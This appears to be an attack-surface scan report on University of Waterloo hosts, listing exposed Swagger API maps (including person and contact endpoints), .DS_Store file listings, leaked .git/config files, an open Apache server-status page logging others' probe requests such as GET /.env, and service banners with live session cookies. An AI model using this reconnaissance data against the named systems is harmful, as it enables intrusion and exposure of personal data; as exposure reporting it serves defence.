Those detail every endpoint, parameter, and data model, making it easier to discover and exploit vulnerabilities like broken access control or injection points.
While a perfectly secure API mitigates the danger, protecting your documentation is a critical layer of defense that forces attackers to work without a map.
Severity: info
Fingerprint: 5733ddf49ff49cd1f3d88d6031d5359d2207bad14a4da01f10c1006a81b6d3ef
Public Swagger UI/API detected at path: /swagger/v1/swagger.json - sample paths:
GET /api/v1/AcademicPlans/{code}
GET /api/v1/AcademicPlans/{code}/{term}
GET /api/v1/AcademicPlans/{term}
GET /api/v1/Applications/{id}
GET /api/v1/Applications/{id}/{term}
GET /api/v1/ClassPersons/{term}/{classNumber}
GET /api/v1/ClassPersons/{term}/{classNumber}/details
GET /api/v1/ClassPersons/{term}/{courseId}/{offerNumber}
GET /api/v1/ClassPersons/{term}/{courseId}/{offerNumber}/details
GET /api/v1/ClassPersons/{term}/{courseId}/{session}/{section}
GET /api/v1/ClassPersons/{term}/{courseId}/{session}/{section}/details
GET /api/v1/ClassPersons/{term}/{subject}/{classNumber}/{section}
GET /api/v1/ClassPersons/{term}/{subject}/{classNumber}/{section}/details
GET /api/v1/ClassSchedules/{id}/{offerNumber}
GET /api/v1/ClassSchedules/{id}/{term}/{offerNumber}
GET /api/v1/ClassSchedules/{term}/bycourseid/{courseId}
GET /api/v1/ClassSchedules/{term}/instructedby/{id}
GET /api/v1/ClassSchedules/{term}/{classNumber}
GET /api/v1/CourseEnrollments/{id}
GET /api/v1/CourseEnrollments/{id}/current
GET /api/v1/CourseEnrollments/{id}/{subject}/{code}
GET /api/v1/CourseEnrollments/{id}/{term}
GET /api/v1/Courses/{id}
GET /api/v1/Courses/{id}/{term}
GET /api/v1/Courses/{id}/{term}/{offerNumber}
GET /api/v1/Courses/{term}
GET /api/v1/Courses/{term}/group/{academicGroupCode}
GET /api/v1/Courses/{term}/group/{academicGroupCode}/{level}
GET /api/v1/Courses/{term}/org/{academicOrgCode}
GET /api/v1/Courses/{term}/org/{academicOrgCode}/{level}
GET /api/v1/Courses/{term}/search/{search}
GET /api/v1/Courses/{term}/{subject}
GET /api/v1/Courses/{term}/{subject}/{level}
GET /api/v1/GraphPerson/{id}
GET /api/v1/Indicators/{id}
GET /api/v1/PersonClassWorkload/{classNumber}/{fromDate}/{todate}
GET /api/v1/PersonClassWorkload/{planCode}/{academicLevel}/{fromDate}/{toDate}
GET /api/v1/PersonClassWorkload/{term}/{classNumber}
GET /api/v1/PersonClassWorkload/{term}/{planCode}/{academicLevel}
GET /api/v1/PersonMilestones/{id}
GET /api/v1/PersonMilestones/{id}/{date}
GET /api/v1/PersonPhoto/{id}
GET /api/v1/PersonPhoto/{id}/bytes
GET /api/v1/Persons/@{id}
GET /api/v1/Persons/{id}
GET /api/v1/Persons/{id}/contacts
GET /api/v1/Persons/{id}/contacts/email
GET /api/v1/Persons/{id}/contacts/phone
GET /api/v1/Persons/{id}/contacts/physical
GET /api/v1/Persons/{id}/degrees
GET /api/v1/Persons/{id}/extended
GET /api/v1/Persons/{id}/private
GET /api/v1/Persons/{id}/terms
GET /api/v1/Persons/{id}/terms/current
GET /api/v1/Persons/{id}/terms/{term}
GET /api/v1/Status/Anonymous
GET /api/v1/Status/Authorize
GET /api/v1/Status/Error
GET /api/v1/Status/Status
GET /api/v1/TermStatistics/academicgroupenrollment/{term}
GET /api/v1/Terms
GET /api/v1/Terms/{term}
GET /api/v1/Terms/{term}/registrations
GET /api/v1/TutorConnectFlags/{id}/{subject}/{catalogNumber}
GET /api/v1/WatiamPersons/indepartment/{id}
GET /api/v1/WatiamPersons/newsince/{date}
GET /api/v1/WatiamPersons/search/{id}
GET /api/v1/WatiamPersons/{hrid}
GET /api/v1/WatiamPersons/{id}
GET /api/v1/WatiamPersons/{id}/extended
POST /api/v1/WatiamPersons/validate
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09cec7f8772ec7f87726a652bc97bda80394bb87ca18a6c0e42
Found 11 files trough .DS_Store spidering: /bash_profile /css /img /index.html /js /node_modules /package-lock.json /package.json /README.md /semantic /semantic.json
Exposing Swagger/OpenAPI documentation is primarily a risk if your API has underlying security flaws, as it gives attackers a precise roadmap to find them.
Those detail every endpoint, parameter, and data model, making it easier to discover and exploit vulnerabilities like broken access control or injection points.
While a perfectly secure API mitigates the danger, protecting your documentation is a critical layer of defense that forces attackers to work without a map.
Severity: info
Fingerprint: 5733ddf49ff49cd1bf890109bf890109bf890109bf890109bf890109bf890109
Public Swagger UI/API detected at path: /api-docs/swagger.json
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c0215adfc0215adfcca2bd41b9e46a08d8177975e32362a0a
Found 4 files trough .DS_Store spidering: /ew /internal /istweb /software
Exposing Swagger/OpenAPI documentation is primarily a risk if your API has underlying security flaws, as it gives attackers a precise roadmap to find them.
Those detail every endpoint, parameter, and data model, making it easier to discover and exploit vulnerabilities like broken access control or injection points.
While a perfectly secure API mitigates the danger, protecting your documentation is a critical layer of defense that forces attackers to work without a map.
Severity: info
Fingerprint: 5733ddf49ff49cd1926e27d0926e27d0926e27d0926e27d0926e27d0926e27d0
Public Swagger UI/API detected at path: /webjars/swagger-ui/index.html
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522a03449ea
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = /usr/local/lab/genRepo/brittsite.git/ fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c2eda814e2eda814eb72bf80ba8f3a30573e92084aab0cb0c
Found 6 files trough .DS_Store spidering: /!css /!images /demos /mockups /scripts /Templates
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522ea21ec60
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = ist-git@git.uwaterloo.ca:digital-assets-group/tools/webapp-main.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master [branch "feature-branch-2"] remote = origin merge = refs/heads/feature-branch-2
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522d1179eac
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true [remote "origin"] url = https://git.uwaterloo.ca/responsive-web-design/notice-prototype.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09cdafa5447dafa5447313a458f72ea8c0c27b1cad4356d3a62
Found 18 files trough .DS_Store spidering: /403.php /404.php /adobe /bonkoo /brian /dherman /eceofas /esag /frank /images /index.php /kernel /kmckay /mark.hancock /mark.smucker /q7he /stan.dimitrov /tools
No description available
Fingerprint: b17be75321b5afb4a6cb295ca6cb295ca6cb295ca6cb295ca6cb295ca6cb295c
{"_links":{"self":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/AutodiscoverService.svc/root?originalDomain=uwaterloo.ca"},"user":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/AutodiscoverService.svc/root/oauth/user?originalDomain=uwaterloo.ca"},"xframe":{"href":"https://lync-w-fe-ext.uwaterloo.ca/Autodiscover/XFrame/XFrame.html"}}}
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c2eda814e2eda814eb72bf80ba8f3a30573e92084aab0cb0c
Found 6 files trough .DS_Store spidering: /!css /!images /demos /mockups /scripts /Templates
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a652203318ede
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/AugmentedRealityUW/waterloo-ar.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c31c2f0b631c2f0b61dc568e0c334afcdeeac7844b76b1071
Found 28 files trough .DS_Store spidering: /.forward /.git /android-chrome-192x192.png /android-chrome-512x512.png /apple-touch-icon.png /browserconfig.xml /favicon-16x16.png /favicon-32x32.png /favicon.ico /includes /includes/disclaimer.html /includes/download.php /includes/error-handling_conversion.html /includes/error-handling_upload.html /includes/footer.html /includes/header.html /includes/L2M_Documentation.pdf /includes/mainpage.html /includes/retrieve_html_file.php /index.php /l2mzip.py /latex2mobius.py /mstile-150x150.png /README.md /safari-pinned-tab.svg /scripts /site.webmanifest /styles
Exposing Swagger/OpenAPI documentation is primarily a risk if your API has underlying security flaws, as it gives attackers a precise roadmap to find them.
Those detail every endpoint, parameter, and data model, making it easier to discover and exploit vulnerabilities like broken access control or injection points.
While a perfectly secure API mitigates the danger, protecting your documentation is a critical layer of defense that forces attackers to work without a map.
Severity: info
Fingerprint: 5733ddf49ff49cd1bf890109bf890109bf890109bf890109bf890109bf890109
Public Swagger UI/API detected at path: /api-docs/swagger.json
Exposing Swagger/OpenAPI documentation is primarily a risk if your API has underlying security flaws, as it gives attackers a precise roadmap to find them.
Those detail every endpoint, parameter, and data model, making it easier to discover and exploit vulnerabilities like broken access control or injection points.
While a perfectly secure API mitigates the danger, protecting your documentation is a critical layer of defense that forces attackers to work without a map.
Severity: info
Fingerprint: 5733ddf49ff49cd1bf890109bf890109bf890109bf890109bf890109bf890109
Public Swagger UI/API detected at path: /api-docs/swagger.json
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522b6a042f4
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/ycpliang/uwcsa.git fetch = +refs/heads/*:refs/remotes/origin/*
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a65220d64d9a0
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/uwvrclub/uwvr-website-fall-22.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522ce46aafd
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/LibreBooking/app.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "develop"] remote = origin merge = refs/heads/develop
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a652201432fcb
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/WaterlooMathReview/WaterlooMathReview.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb318b120ef58b120ef52082515d
Apache Status Apache Server Status for wms-profiles.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 14-Dec-2022 11:12:30 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 47 Parent Server MPM Generation: 46 Server uptime: 36 days 18 hours 3 minutes 8 seconds Server load: 0.54 0.39 0.23 Total accesses: 1122653 - Total Traffic: 7.2 GB CPU Usage: u18.82 s16.14 cu0 cs0 - .0011% CPU load .354 requests/sec - 2424 B/second - 6.7 kB/request 4 requests currently being processed, 6 idle workers _.._._W_W_.W.W._................................................ ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-46271100/53/91760_ 1.35200.00.38542.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 1-46-0/0/84803. 0.0051700.00.00510.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 2-46-0/0/89657. 0.0051600.00.00531.83 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 3-46294540/46/79066_ 1.8615420.00.30517.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET / HTTP/1.1 4-46-0/0/70802. 1.0151100.00.00446.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 5-4639190/15/72568_ 0.15000.00.16453.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 6-46313460/219/70299W 3.82000.02.74424.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /?rest_route=/wp/v2/users/ HTTP/1.1 7-46207700/102/71426_ 1.38000.00.86442.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 8-46268940/56/71560W 1.75000.00.45408.42 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 9-46100110/156/59747_ 2.84000.01.63410.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 10-46-0/0/59920. 0.0051500.00.00387.31 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 11-4661990/168/61983W 2.46000.01.64369.36 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 12-46-0/0/41113. 0.0051400.00.00260.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-4639400/14/24543W 0.15000.00.11215.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 14-46-0/0/23855. 0.0051300.00.00171.92 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-46313730/213/33929_ 3.4226420.02.26245.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET / HTTP/1.1 16-46-0/0/24115. 0.00818600.00.00197.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 17-46-0/0/22985. 0.00818500.00.00147.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-46-0/0/13146. 0.00818400.00.0097.53 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-46-0/0/8969. 0.00818300.00.0057.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-46-0/0/3194. 4.0951200.00.0038.41 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 21-46-0/0/5387. 0.00818200.00.0050.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-46-0/0/6463. 0.00818100.00.0047.40 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-46-0/0/2963. 0.00818000.00.0022.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-46-0/0/8204. 0.00817900.00.0052.63 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-38-0/0/2047. 0.0052170700.00.0020.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-30-0/0/785. 0.00111446000.00.007.16 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-30-0/0/478. 0.00111445900.00.003.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-30-0/0/2270. 0.00112472400.00.0037.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-30-0/0/626. 0.00112472300.00.005.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-30-0/0/1399. 0.00112470300.00.0036.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-30-0/0/561. 0.00112472200.00.0013.12 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-30-0/0/1033. 0.00112472100.00.0026.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-30-0/0/475. 0.00112472000.00.004.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-30-0/0/332. 0.00112471900.00.004.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-30-0/0/1014. 0.00112471800.00.004.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-30-0/0/1036. 1.41112123900.00.0015.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-30-0/0/282. 0.00112471600.00.003.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-30-0/0/1947. 0.00112471700.00.0041.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-30-0/0/273. 0.00112471400.00.001.97 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-30-0/0/453. 0.00112471500.00.0011.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-29-0/0/1455. 0.02120730300.00.0011.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-29-0/0/213. 1.53120440100.00.002.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-29-0/0/379. 0.58120730600.00.009.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-29-0/0/133. 0.01120731500.00.002.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-29-0/0/45. 0.00120735700.00.000.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-29-0/0/84. 0.05120731300.00.001.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-29-0/0/83. 0.25120730800.00.001.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-29-0/0/98. 0.50120730500.00.001.51 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-29-0/0/233. 3.17120028900.00.002.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-29-0/0/39. 0.00120735600.00.000.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-29-0/0/80. 0.00120735500.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 52-29-0/0/100. 0.01120732700.00.001.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-29-0/0/276. 1.81120206600.00.003.25 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 54-29-0/0/911. 0.00120735200.00.006.79 127.0.0.1http/1.1wms-profiles.uwaterloo.c
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044baa2727ab8135b5bbc521bbb52e61fd6
[core] repositoryformatversion = 0 filemode = false bare = false logallrefupdates = true [remote "origin"] url = https://github.com/pkp/ojs fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main [branch "cfs_stable-3_2_1"] remote = origin merge = refs/heads/stable-3_2_1 [submodule "docs/manual"] active = true url = https://github.com/pkp/ojs-user-guide [submodule "lib/pkp"] active = true url = https://github.com/pkp/pkp-lib.git [submodule "lib/ui-library"] active = true url = https://github.com/pkp/ui-library [submodule "plugins/blocks/browse"] active = true url = https://github.com/pkp/browse [submodule "plugins/blocks/makeSubmission"] active = true url = https://github.com/pkp/makeSubmission.git [submodule "plugins/generic/citationStyleLanguage"] active = true url = https://github.com/pkp/citationStyleLanguage.git [submodule "plugins/generic/customBlockManager"] active = true url = https://github.com/pkp/customBlockManager.git [submodule "plugins/generic/googleAnalytics"] active = true url = https://github.com/pkp/googleAnalytics.git [submodule "plugins/generic/googleScholar"] active = true url = https://github.com/pkp/googleScholar [submodule "plugins/generic/lensGalley"] active = true url = https://github.com/asmecher/lensGalley [submodule "plugins/generic/orcidProfile"] active = true url = https://github.com/pkp/orcidProfile.git [submodule "plugins/generic/pdfJsViewer"] active = true url = https://github.com/pkp/pdfJsViewer.git [submodule "plugins/generic/staticPages"] active = true url = https://github.com/pkp/staticPages.git [submodule "plugins/generic/tinymce"] active = true url = https://github.com/pkp/tinymce.git [submodule "plugins/generic/usageStats"] active = true url = https://github.com/pkp/usageStats.git [submodule "plugins/reports/counter/classes/COUNTER"] active = true url = https://github.com/ulsdevteam/COUNTER.git [submodule "plugins/reports/reviewReport"] active = true url = https://github.com/pkp/reviewReport [remote "cjds"] url = https://git.uwaterloo.ca/library/ojs/ojs-cjds.git fetch = +refs/heads/*:refs/remotes/cjds/*
Open service 129.97.50.139:80 · ofis.uwaterloo.ca
2026-02-09 07:07
HTTP/1.1 302 Found Date: Mon, 09 Feb 2026 07:07:37 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.1.1h-freebsd PHP/7.4.13 Strict-Transport-Security: max-age=63072000; includeSubdomains; Location: https://ofis.uwaterloo.ca/OFIS Content-Length: 214 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://ofis.uwaterloo.ca/OFIS">here</a>.</p> </body></html>
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · syllabus.uwaterloo.ca
2026-01-26 13:56
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://syllabus.uwaterloo.ca/ Server: Caddy Date: Mon, 26 Jan 2026 13:57:21 GMT Content-Length: 0
Open service 129.97.179.11:443 · syllabus.uwaterloo.ca
2026-01-26 13:56
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://outline.uwaterloo.ca Server: Caddy Date: Mon, 26 Jan 2026 13:56:52 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:80 · syllabus.uwaterloo.ca
2026-01-26 13:56
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://syllabus.uwaterloo.ca/ Server: Caddy Date: Mon, 26 Jan 2026 13:57:21 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · syllabus.uwaterloo.ca
2026-01-26 13:56
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://outline.uwaterloo.ca Server: Caddy Date: Mon, 26 Jan 2026 13:56:51 GMT Content-Length: 0 Connection: close
Open service 129.97.152.19:443 · darth.cs.uwaterloo.ca
2026-01-26 12:21
HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Date: Mon, 26 Jan 2026 12:21:13 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: https://tigerai.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
Open service 129.97.152.19:80 · darth.cs.uwaterloo.ca
2026-01-26 12:21
HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Date: Mon, 26 Jan 2026 12:21:13 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: https://darth.cs.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
Open service 129.97.167.159:80 · online.cs.uwaterloo.ca
2026-01-26 12:05
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://online.cs.uwaterloo.ca/ Server: Caddy Date: Mon, 26 Jan 2026 12:06:16 GMT Content-Length: 0
Open service 129.97.167.159:443 · online.cs.uwaterloo.ca
2026-01-26 12:05
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Language: en
Content-Length: 16222
Content-Security-Policy: default-src 'self' https:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https: blob:; style-src 'self' 'unsafe-inline' https:; font-src 'self' https://fonts.gstatic.com cdn.jsdelivr.net; img-src 'self' data: https:; worker-src 'self' blob:; frame-src 'self' blob: https:
Content-Type: text/html; charset=utf-8
Permissions-Policy: camera=(self), microphone=(self), fullscreen=(self), autoplay=(self), clipboard-write=(self), accelerometer=(self), gyroscope=(self)
Server: Caddy
Set-Cookie: csrftoken=3J0KjDx8dYo0XSd3pGmyDNNkkjC3KR04; expires=Mon, 25 Jan 2027 12:05:49 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
Set-Cookie: sessionid=1|i0co5998ppmdgapzfyny7n6k0y60ufz5|oY9ecwX4M2hp|IjRjY2JiODI5MDI1NzYxM2I0OGI1YTE3ZGE5NTRlN2QzM2NiZDYzZTJlN2MwYWE2YmExOTBmOGMwY2NkZDNhZTci:1vkLLp:38AJlbTwgB0zhf30uk2RPQYBrtIuI-D77LmEtFYyLUY; Domain=online.cs.uwaterloo.ca; expires=Mon, 09 Feb 2026 12:05:49 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax; Secure
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Cookie, Accept-Language, origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Date: Mon, 26 Jan 2026 12:05:49 GMT
Connection: close
Page title:
| UW Online
<!DOCTYPE html>
<!--[if lte IE 9]><html class="ie ie9 lte9" lang="en"><![endif]-->
<!--[if !IE]><!--><html lang="en"><!--<![endif]-->
<head dir="ltr">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>
| UW Online
</title>
<script type="text/javascript">
/* immediately break out of an iframe if coming from the marketing website */
(function(window) {
if (window.location !== window.top.location) {
window.top.location = window.location;
}
})(this);
</script>
<script type="text/javascript" src="/static/js/i18n/en/djangojs.0f66acafc573.js"></script>
<script type="text/javascript" src="/static/js/ie11_find_array.67b5a9edd5d5.js"></script>
<link rel="icon" type="image/x-icon" href="/static/uw_cs_theme/images/favicon.e57d994d537d.ico"/>
<link href="/static/uw_cs_theme/css/lms-style-vendor.68e48093f5dd.css" rel="stylesheet" type="text/css" />
<link href="/static/uw_cs_theme/css/lms-main-v1.b74482327eca.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/static/js/lms-main_vendor.128bc9140a0e.js" charset="utf-8"></script>
<script type="text/javascript" src="/static/js/lms-application.781291f35350.js" charset="utf-8"></script>
